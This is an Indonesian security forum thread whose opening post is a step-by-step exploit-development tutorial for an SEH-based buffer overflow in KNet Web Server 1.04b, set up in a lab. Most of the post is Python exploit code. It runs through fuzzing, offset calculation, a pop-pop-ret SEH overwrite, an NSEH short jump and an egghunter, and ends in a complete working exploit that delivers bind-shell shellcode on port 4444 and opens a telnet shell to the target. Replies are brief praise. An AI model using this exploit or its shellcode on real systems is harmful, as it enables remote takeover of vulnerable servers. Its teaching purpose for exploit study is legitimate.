Tutor Exploit Development - Eksploitasi SEH pada KNet Web Server
#1
Tutor Exploit Development - Eksploitasi SEH (Structured Exception Handler) pada KNet Web Server 1.04b

by : Antonius

www.cr0security.com
www.ringlayer.net
www.jasaplus.com
www.indonesianbacktrack.or.id
www.devilzc0de.org

Bagian ini membahas tentang teknik eksploitasi pada aplikasi vulner yang menggunakan mekanisme structured exception handling.

Arsitektur :

- Mesin penyerang dengan x86 Kali linux menggunakan alamat ip 10.200.0.5
- Mesin target dengan mesin x86 windows xp sp3 menggunakan alamat ip 10.200.0.120

SEH Overview

SEH adalah mekanisme yang menyediakan penanganan exception handling ketika error terjadi pada saat aplikasi run time. Implementasi SEH adalah stack based linked list. Mekanisme SEH ini dapat disediakan dari sistem operasi atau dari source code aplikasi.

Pada dasarnya mekanisme ini cukup sederhana. Sebelum SEH prolog: Stack berisi ukuran variabel lokal yang dibutuhkan oleh pemanggil -> Stack: {8}
Setelah memanggil prolog -> alamat pengirim pemanggil didorong ke stack -> Stack: {8, RetAddr}
Pada saat exception occured, SEH akan berada di esp +8. Jadi pada dasarnya untuk keluar dari seh ke nseh kita dapat menggunakan ROP gadget seperti: r32 pop -> r32 pop dan kemudian ret ( pop 4 byte dari stack, pop berikutnya 4 byte dari stack dan kemudian ret).

Setelah berhasil keluar dari SEH kita akan berada pada NSEH di mana kita hanya memiliki 4 byte buffer yang kita kontrol, pada point ini kita bisa menggunakan payload kedua berupa short jmp misal : eb d0.

Fuzzing dengan Spike

Untuk mencari bug pada KNet Web Server 1.04b kita akan melakukan fuzzing dengan spike fuzzer.
Pada mesin kali linux, kita akan membuat template spike berikut ini :

[Image: spike.jpg]

Selanjutnya attach knet dengan ollydbg lalu lakukan fuzzing dengan spike.

[Image: knet1.jpg]

Lakukan fuzzing dengan spike dari mesin kali linux :

[Image: knet2.jpg]

Hasil fuzzing dengan template httpd.spk di atas akan menyebabkan crash pada knet, di mana kita bisa melihat yang diuji adalah variabel length request nama file dengan metode http get.

Pada mesin windows kita bisa melihat knet crash dan SE Handler berhasil kita overwrite dengan 41414141.

Overwrite SE Handler
Untuk mencari berapa banyak byte yang dibutuhkan sebelum SEH Handler teroverwrite kita akan menggunakan pattern_create.rb . Generate byte sepanjang 1300 byte dengan pattern_create.rb :

[Image: knet3.jpg]

Selanjutnya masukkan pattern tadi ke kerangka eksploit dasar pertama :

import socket
sploit ="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu"
buffer="GET /" + sploit + " HTTP/1.1\r\n"
buffer+="Host: 10.200.0.120\r\n"
buffer+="Content-Type: application/x-www-form-urlencoded\r\n"
buffer+="User-Agent: Mozilla/5.0\r\n"
buffer+="Content-Length: 1048580\r\n\r\n"
s = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
s.connect(("10.200.0.120", 80))
s.send(buffer)
s.close()



Reattach knet dengan olly, lalu jalankan eksploit di atas, Pada saat crash kita bisa melihat SEH teroverwrite dengan byte 6f42336f :

[Image: seh4.jpg]

Langkah selanjutnya adalah mencari offset keempat byte di atas dengan pattern_offset.rb :

[Image: seh5.jpg]

Berdasarkan pencarian dengan pattern_offset.rb SEH akan teroverwrite setelah 1210 bytes. Langkah selanjutnya kita uji dengan kerangka eksploit kedua :



import socket
seh = "\x43\x42\x41\x40"
sploit = "\x90" * 1210 + seh
buffer="GET /" + sploit + " HTTP/1.1\r\n"
buffer+="Host: 10.200.0.120\r\n"
buffer+="Content-Type: application/x-www-form-urlencoded\r\n"
buffer+="User-Agent: Mozilla/5.0\r\n"
buffer+="Content-Length: 1048580\r\n\r\n"
s = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
s.connect(("10.200.0.120", 80))
s.send(buffer)
s.close()


Reattach knet dengan olly dan kita bisa melihat kita berhasil mengoverwrite SEH Handler dengan byte 40414243


SEH ke NSEH

Langkah selanjutnya setelah mengoverwrite SEH handler adalah keluar dari SEH ke NSEH. Begitu banyak payload yang bisa kita gunakan, tapi kali ini kita akan menggunakan payload paling populer yaitu menggunakan instruksi pop pop ret.

Untuk mencari sequence instruksi pop pop ret yang bisa kita pakai, kita akan menggunakan plugin safeseh module scanner di olly.

[Image: safeseh.jpg]

Dari hasil scanning kita bisa melihat bahwa instruksi pop pop ret pada Knet.exe bisa kita manfaatkan.
Selanjutnya cari sequence instruksi pop pop ret pada knet.exe dengan olly :

[Image: seh7.jpg]


Selajutnya kita bisa menemukan sequence instruksi pop pop ret pada knet.exe pada alamat memori :

004016e1

[Image: knet8.jpg]

Selanjutnya kita racik eksploit kedua :

import socket
seh = "\xe1\x16\x40"
sploit = "\x90" * 1210 + seh
buffer="GET /" + sploit + " HTTP/1.1\r\n"
buffer+="Host: 10.200.0.120\r\n"
buffer+="Content-Type: application/x-www-form-urlencoded\r\n"
buffer+="User-Agent: Mozilla/5.0\r\n"
buffer+="Content-Length: 1048580\r\n\r\n"
print len(sploit)
s = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
s.connect(("10.200.0.120", 80))
s.send(buffer)
s.close()


Selanjutnya reattach knet dengan olly dan tempatkan break point pada 004016e1, lalu jalankan kerangka exploit di atas. Pada saat error tekan shift + f9 dan kita akan dibawa ke instruksi pop pop ret pada 004016e1 :

[Image: knet10.jpg]

Terlihat dari tampilan di atas, eksekusi berhasil diarahkan ke sequence pop pop ret kita. Tekan f7 sampai kita berada di NSEH :

[Image: knet11.jpg]

Terlihat kita memiliki 4 byte buffer yang bisa kita kontrol.

Payload Kedua, EggHunter dan Shellcode Sesungguhnya

Setelah berada di nseh, kita perlu menggunakan payload kedua, di sini kita akan menggunakan eb d0 untuk mendapatkan sekian puluh byte buffer lagi yang bisa kita kontrol, di mana sekian puluh byte tadi akan kita gunakan untuk menaruh egghunter shellcode. Egghunter shellcode berukuran kecil dan biasa digunakan saat buffer yang sedang dikontrol tidak cukup untuk menaruh shellcode yang lebih besar. Egghunter shellcode berguna untuk mencari marker di memori yang umumnya kita taruh sebelum shellcode sesungguhnya, dengan cara mencari marker tersebut egghunter akan secara otomatis mencari marker di memori sebelum shellcode kita yang sesungguhnya, setelah ditemukan maka eksekusi akan diarahkan ke alamat memori marker tersebut, yang selanjutnya akan diikuti dengan eksekusi shellcode.


Selanjutnya modifikasi kerangka eksploit dan gunakan second stage payload :


import socket
seh = "\xe1\x16\x40"
nseh = "\xeb\xd0\x90\x90"
sploit = "\x90" * 1206 + nseh + seh
buffer="GET /" + sploit + " HTTP/1.1\r\n"
buffer+="Host: 10.200.0.120\r\n"
buffer+="Content-Type: application/x-www-form-urlencoded\r\n"
buffer+="User-Agent: Mozilla/5.0\r\n"
buffer+="Content-Length: 1048580\r\n\r\n"
s = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
s.connect(("10.200.0.120", 80))
s.send(buffer)
s.close()



Selanjutnya reattach dengan olly dan pasang break point di 004016e1, lalu jalankan eksploit. Saat terjadi crash, tekan shift + f9 lalu anda akan dibawa ke sequence pop pop ret pada 004016e1, selanjutnya tekan f7 hingga eksekusi sampai pada payload kedua kita :

[Image: knet12.jpg]


Perhatikan payload kedua merupakan short jmp eb d0 , jika kita tekan f7 maka eksekusi program akan diarahkan ke sekian puluh byte yang kita kontrol.

Langkah selanjutnya kita akan menggunakan egghunter dari oxff :

http://www.exploit-db.com/exploits/16283/

Untuk Egghunter di atas, kita akan menggunakan marker w00t , berikut ini adalah egghunter yang akan kita pakai sebesar 32 byte :

#32 bytes
egghunter="\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x54\x30\x30\x57\x89\xd7\xaf\x75\xea\xaf\x75\xe7\xff\xe7"


Sebelumnya kita memiliki buffer total sebesar 1213 bytes (ovedrwrite 3 byte SEH). Kurang lebih payload yang akan kita buat sebagai berikut :

sploit = nop1 + shellcode + nop2 + egghunter + nop3 + nseh + seh


di mana sploit harus sebesar 1213 byte. Di mana shellcode yang akan kita gunakan akan kita ambil dari
http://www.exploit-db.com/exploits/24897/ yang merupakan shellcode bind port 4444 yang akan kita ambil dari exploit myo soe.

Nop1 berukuran 585 bytes
Shellcode berukuran 376 bytes
nop2 berukuran 209 byte
egghunter berukuran 32 byte
Nop3 sebagai padding berukuran 4 byte
NSEH berukuran 4 bytes
dan SEH 3 bytes.

Total panjang adalah 1213 bytes.


Siapkan kerangka exploit akhir :

#knet web server 1.04b SEH bof exploit with egghunter
#made by : Antonius
#http://www.cr0security.com
#http://www.ringlayer.net
#http://indonesianbacktrack.or.id

import socket, os, time
#344 Byte Bind Shell TCP/4444
#taken from myo soe shellcode http://www.exploit-db.com/exploits/24897/
shellcode = ("T00WT00W" +"\xbd\x0e\x27\x05\xab\xda\xdb\xd9\x74\x24\xf4\x5a\x33\xc9" +
"\xb1\x56\x83\xc2\x04\x31\x6a\x0f\x03\x6a\x01\xc5\xf0\x57" +
"\xf5\x80\xfb\xa7\x05\xf3\x72\x42\x34\x21\xe0\x06\x64\xf5" +
"\x62\x4a\x84\x7e\x26\x7f\x1f\xf2\xef\x70\xa8\xb9\xc9\xbf" +
"\x29\x0c\xd6\x6c\xe9\x0e\xaa\x6e\x3d\xf1\x93\xa0\x30\xf0" +
"\xd4\xdd\xba\xa0\x8d\xaa\x68\x55\xb9\xef\xb0\x54\x6d\x64" +
"\x88\x2e\x08\xbb\x7c\x85\x13\xec\x2c\x92\x5c\x14\x47\xfc" +
"\x7c\x25\x84\x1e\x40\x6c\xa1\xd5\x32\x6f\x63\x24\xba\x41" +
"\x4b\xeb\x85\x6d\x46\xf5\xc2\x4a\xb8\x80\x38\xa9\x45\x93" +
"\xfa\xd3\x91\x16\x1f\x73\x52\x80\xfb\x85\xb7\x57\x8f\x8a" +
"\x7c\x13\xd7\x8e\x83\xf0\x63\xaa\x08\xf7\xa3\x3a\x4a\xdc" +
"\x67\x66\x09\x7d\x31\xc2\xfc\x82\x21\xaa\xa1\x26\x29\x59" +
"\xb6\x51\x70\x36\x7b\x6c\x8b\xc6\x13\xe7\xf8\xf4\xbc\x53" +
"\x97\xb4\x35\x7a\x60\xba\x6c\x3a\xfe\x45\x8e\x3b\xd6\x81" +
"\xda\x6b\x40\x23\x62\xe0\x90\xcc\xb7\xa7\xc0\x62\x67\x08" +
"\xb1\xc2\xd7\xe0\xdb\xcc\x08\x10\xe4\x06\x3f\x16\x2a\x72" +
"\x6c\xf1\x4f\x84\x83\x5d\xd9\x62\xc9\x4d\x8f\x3d\x65\xac" +
"\xf4\xf5\x12\xcf\xde\xa9\x8b\x47\x56\xa4\x0b\x67\x67\xe2" +
"\x38\xc4\xcf\x65\xca\x06\xd4\x94\xcd\x02\x7c\xde\xf6\xc5" +
"\xf6\x8e\xb5\x74\x06\x9b\x2d\x14\x95\x40\xad\x53\x86\xde" +
"\xfa\x34\x78\x17\x6e\xa9\x23\x81\x8c\x30\xb5\xea\x14\xef" +
"\x06\xf4\x95\x62\x32\xd2\x85\xba\xbb\x5e\xf1\x12\xea\x08" +
"\xaf\xd4\x44\xfb\x19\x8f\x3b\x55\xcd\x56\x70\x66\x8b\x56" +
"\x5d\x10\x73\xe6\x08\x65\x8c\xc7\xdc\x61\xf5\x35\x7d\x8d" +
"\x2c\xfe\x8d\xc4\x6c\x57\x06\x81\xe5\xe5\x4b\x32\xd0\x2a" +
"\x72\xb1\xd0\xd2\x81\xa9\x91\xd7\xce\x6d\x4a\xaa\x5f\x18" +
"\x6c\x19\x5f\x09")



#32 bytes egghunter from 0xff
egghunter="\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x54\x30\x30\x57\x89\xd7\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
seh = "\xe1\x16\x40"
nseh = "\xeb\xd0\x90\x90"
nop1 = "\x90" * 585
nop2 = "\x90" * 209
nop3 = "\x90" * 4
sploit = nop1 + shellcode + nop2 + egghunter + nop3 + nseh + seh

print len(sploit)
print len(shellcode)
buffer="GET /" + sploit + " HTTP/1.1\r\n"
buffer+="Host: 10.200.0.120\r\n"
buffer+="Content-Type: application/x-www-form-urlencoded\r\n"
buffer+="User-Agent: Mozilla/4.0 (Windows XP 5.1)\r\n"
buffer+="Content-Length: 1048580\r\n\r\n"

s = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
s.connect(("10.200.0.120", 80))
s.send(buffer)
s.close()
print "exploit sent ! sleeping for a while to wait trigger ... please wait ..."
time.sleep(10)
os.system("telnet 10.200.0.120 4444")


Selanjutnya jalankan ulang knet web server
Jalankan exploit di atas dan kita bisa berhasil mendapatkan shell pada mesin target:

[Image: final.jpg]

do visit http://bbs.cr0security.com for more

#2
keren Big Grin exploit sekaligus tutor
btw ane baru tau Knet webserver barang kali tmn" juga ada yang baru tau ini detailnya

Spoiler! :

About KNet Web Server:

KNet is a small, functioning, webserver which you can use to host a website from your very own harddrive! KNet is so small you can run your server from a floppy disk. As KNet is a freeware application you will never be charged for using the application or for updates.

You can literally have your website up and running within 30 seconds of installing, and running KNet. How's that for ease of use? And you need never see or think about KNet again as it can happily run in your task bar.

Here are some key features of "KNet":

■ Custom 404 Error pages.
■ Password protection.
■ Ban IP addresses.
■ Current Connections list.
■ Last Connection.
■ Last Page Requested.
■ Last File Requested.
■ Supports .ppt, .doc and .xls files direct to browser!
■ Incredibly fast and easy to use!
■ Directory traversing blocked....

Ref: http://knet.softpedia.com/


#3
mantap om wisdom, ane baru dengar tentang ini om,, hehe ane pelajari dulu basic nya,, lalu eksploit nya,, mudah2n ada yang bisa kasih referensi atau bimbingan,, hehe

nice tutor om Smile

#4
baru denger , tapi nice share om

#5
nice share dom ... mudah di cerna dan jelas sekali
FOLLOW @DutaLinux
for more question and sharing about security and Opensource only

#6
Masih kurang paham nih om, tapi ane praktekin dulu siapa tahu lebih paham kalau uda praktek Big Grin






Users browsing this thread: 1 Guest(s)